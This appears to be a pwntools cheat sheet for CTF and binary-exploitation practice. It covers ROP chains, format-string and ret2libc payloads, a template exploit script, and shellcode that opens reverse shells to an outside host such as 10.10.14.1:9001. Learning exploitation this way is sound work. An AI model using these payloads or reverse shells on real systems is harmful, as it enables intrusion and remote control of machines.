← All cheat sheets

PWNTOOLS

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Python library for CTF competitions and exploit development.
Essential for binary exploitation, reverse engineering, and OSCP prep.

INSTALLATION#

pip install pwntools                # Full install
pip install pwntools --upgrade      # Update
apt install python3-pwntools        # Kali/Debian

# Verify installation
python3 -c "from pwn import *; print(pwnlib.version)"

CONTEXT & LOGGING#

from pwn import *

# Set architecture and OS
context.arch = 'amd64'              # amd64, i386, arm, mips
context.os = 'linux'                # linux, windows, freebsd
context.bits = 64                   # 32 or 64
context.endian = 'little'           # little or big
context.log_level = 'debug'         # debug, info, warn, error

# Shorthand
context(arch='amd64', os='linux')
context.binary = './vulnerable'     # Auto-detect arch/os from binary

CONNECTING TO TARGETS#

# Local process
p = process('./vulnerable')
p = process('./vulnerable', env={'LD_PRELOAD': './libc.so.6'})
p = process(['./vulnerable', 'arg1', 'arg2'])

# Remote connection
p = remote('challenge.ctf.com', 1337)
p = remote('challenge.ctf.com', 1337, ssl=True)

# SSH connection
s = ssh('user', 'host', port=22, password='pass')
s = ssh('user', 'host', keyfile='./id_rsa')
p = s.process('./vulnerable')       # Run binary over SSH

# GDB attachment
p = process('./vulnerable')
gdb.attach(p)                       # Attach GDB to process
gdb.attach(p, 'b main\nc')         # With GDB commands
p = gdb.debug('./vulnerable', 'b main')  # Start under GDB

SENDING & RECEIVING DATA#

# Sending
p.send(b'data')                     # Send raw bytes
p.sendline(b'data')                 # Send with newline
p.sendafter(b'prompt: ', b'data')   # Send after receiving prompt
p.sendlineafter(b'> ', b'data')     # Send line after prompt

# Receiving
p.recv(1024)                        # Receive up to 1024 bytes
p.recvline()                        # Receive one line
p.recvuntil(b'> ')                  # Receive until delimiter
p.recvall()                         # Receive all until EOF
p.recvregex(r'flag{.*}')           # Receive until regex match
p.clean()                           # Flush receive buffer

# Interactive mode
p.interactive()                     # Drop to interactive shell

PACKING & UNPACKING#

# Pack integers to bytes (little-endian by default)
p32(0xdeadbeef)                     # Pack 32-bit: b'\xef\xbe\xad\xde'
p64(0xdeadbeefcafebabe)             # Pack 64-bit
p16(0x1337)                         # Pack 16-bit
p8(0x41)                            # Pack 8-bit

# Unpack bytes to integers
u32(b'\xef\xbe\xad\xde')           # Unpack 32-bit: 0xdeadbeef
u64(b'\x00\x00\x00\x00\xde\xad\xbe\xef')  # Unpack 64-bit
u32(data.ljust(4, b'\x00'))         # Pad and unpack

# Big-endian variants
p32(0xdeadbeef, endian='big')
pack(0xdeadbeef, 32, endian='big')

CYCLIC PATTERNS (OFFSET FINDING)#

# Generate pattern
cyclic(200)                         # 200-byte de Bruijn sequence
cyclic(200, n=8)                    # For 64-bit (8-byte subsequences)

# Find offset
cyclic_find(0x61616166)             # Find 4-byte pattern offset
cyclic_find(b'faaa')               # Find string offset
cyclic_find(0x6161616161616166, n=8) # 64-bit offset

# Workflow: crash with cyclic, read EIP/RIP, find offset
# 1. Send cyclic(500) as input
# 2. Check crash address in debugger
# 3. cyclic_find(crash_address) = offset to return address

ELF ANALYSIS#

elf = ELF('./vulnerable')
libc = ELF('./libc.so.6')

# Addresses
elf.symbols['main']                 # Symbol address
elf.got['puts']                     # GOT entry
elf.plt['puts']                     # PLT entry
elf.functions['main']               # Function object

# Sections
elf.address                         # Base address
elf.bss()                           # BSS section address
elf.entry                           # Entry point

# Search
next(elf.search(b'/bin/sh'))        # Find string in binary
next(elf.search(b'\xc3'))           # Find ret instruction

# Security
elf.checksec()                      # Show security features
  # RELRO, Stack Canary, NX, PIE, FORTIFY

# Patching
elf.asm(elf.symbols['main'], 'nop') # Patch instruction
elf.write(addr, data)               # Write bytes
elf.save('./patched')               # Save patched binary

ROP CHAINS#

rop = ROP(elf)
rop = ROP([elf, libc])              # Multiple binaries

# Find gadgets
rop.find_gadget(['pop rdi', 'ret']) # Find specific gadget
rop.rdi                             # Shorthand for pop rdi; ret

# Build chain
rop.raw(rop.find_gadget(['ret']))   # Add ret (stack alignment)
rop.call('puts', [elf.got['puts']]) # Call function with args
rop.call(elf.plt['puts'], [elf.got['puts']])

# System call chain (32-bit)
rop.raw(pop_eax)
rop.raw(0xb)                        # execve syscall number
rop.raw(pop_ebx)
rop.raw(binsh_addr)

# ret2libc
rop.call('system', [next(libc.search(b'/bin/sh\x00'))])

# Dump chain
print(rop.dump())                   # Show chain layout
payload = rop.chain()               # Generate bytes

# Sigreturn ROP (SROP)
frame = SigreturnFrame()
frame.rax = 0x3b                    # execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

SHELLCRAFT#

# Generate shellcode (set context.arch first!)

# Linux x86_64
shellcraft.sh()                     # /bin/sh shell
shellcraft.cat('/flag')             # Read file
shellcraft.connect('1.2.3.4', 4444) # Reverse connect
shellcraft.dupsh(4)                 # Dup file descriptor shell

# Assemble to bytes
shellcode = asm(shellcraft.sh())
shellcode = asm(shellcraft.linux.cat('/flag'))

# Bind shell
shellcode = asm(shellcraft.bindsh(4444))

# Reverse shell
shellcode = asm(shellcraft.connect('10.10.14.1', 9001) +
                shellcraft.dupsh())

# Staged shellcode
shellcode = asm(shellcraft.stager('10.10.14.1', 9001))

ASSEMBLY & DISASSEMBLY#

# Assemble
asm('nop')                          # b'\x90'
asm('mov eax, 1; ret')              # Multiple instructions
asm(shellcraft.sh())                # Shellcraft to bytes

# Disassemble
disasm(b'\x90')                     # '   0: nop'
disasm(b'\x55\x48\x89\xe5')        # Push rbp; mov rbp, rsp

# Custom architecture
asm('nop', arch='arm')

FORMAT STRING EXPLOITATION#

# Automatic format string exploitation
fmtstr = FmtStr(exec_func)         # exec_func sends/receives
fmtstr.write(got_addr, system_addr) # Write value to address
fmtstr.execute_writes()             # Generate payload

# Manual format string
fmtstr_payload(offset, {addr: val}) # offset = format string offset
fmtstr_payload(6, {elf.got['printf']: elf.plt['system']})

# Finding offset
FmtStr(exec_func).offset           # Auto-detect offset

DYNAMIC LIBC RESOLUTION#

# Leak libc address and calculate base
puts_leak = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = puts_leak - libc.symbols['puts']

# Using libc database
# After leaking: search on libc.blukat.me or libc.rip

COMMON CTF PATTERNS#

# Buffer overflow (ret2win)
padding = b'A' * offset
payload = padding + p64(win_func_addr)
p.sendline(payload)

# ret2libc (64-bit, needs stack alignment)
padding = b'A' * offset
rop = ROP(elf)
rop.raw(rop.find_gadget(['ret']))   # Stack align
rop.call('system', [next(libc.search(b'/bin/sh\x00'))])
payload = padding + rop.chain()

# GOT overwrite via format string
payload = fmtstr_payload(offset, {elf.got['printf']: elf.symbols['win']})

# Heap exploitation
from pwn import *
# Allocate/free patterns depend on challenge
# Use pwndbg for heap inspection

# PIE bypass (leak + calculate base)
elf.address = leaked_addr - known_offset

# Canary leak
# Use format string or partial overwrite to leak canary
# Place canary back in payload

USEFUL UTILITIES#

# Hex encoding
enhex(b'AAAA')                      # '41414141'
unhex('41414141')                   # b'AAAA'

# Base64
b64e(b'data')                       # Encode
b64d('ZGF0YQ==')                   # Decode

# XOR
xor(b'data', b'key')               # XOR bytes
xor_key(ciphertext, known_plain)   # Find XOR key

# Hashing
md5sumhex(b'data')                  # MD5 hash
sha1sumhex(b'data')                # SHA1 hash

# Bit manipulation
bits(0x41)                          # [0, 1, 0, 0, 0, 0, 0, 1]
unbits([0,1,0,0,0,0,0,1])          # 65

# File I/O
write('payload.bin', payload)       # Write bytes to file
data = read('data.bin')             # Read bytes from file

# Logging
log.info('Leaked address: %#x' % leak)
log.success('Got shell!')
log.warning('Exploit may be unreliable')

TEMPLATE EXPLOIT SCRIPT#

#!/usr/bin/env python3
from pwn import *

# Setup
context.binary = elf = ELF('./vulnerable')
libc = ELF('./libc.so.6', checksec=False)

# Choose target
if args.REMOTE:
    p = remote('challenge.ctf.com', 1337)
else:
    p = process(elf.path)

# Exploit
offset = 72
payload = flat(
    b'A' * offset,
    rop.find_gadget(['ret']),       # Stack alignment
    rop.find_gadget(['pop rdi', 'ret']),
    next(libc.search(b'/bin/sh\x00')),
    libc.symbols['system']
)

p.sendlineafter(b'> ', payload)
p.interactive()

TIPS#

  - Always set context.binary for auto architecture detection
  - Use args.REMOTE for easy local/remote switching
  - p.interactive() after getting shell to interact
  - Use gdb.attach() liberally during development
  - cyclic + cyclic_find is faster than manual offset calculation
  - Check checksec output to determine exploit strategy
  - Use flat() to combine multiple packed values cleanly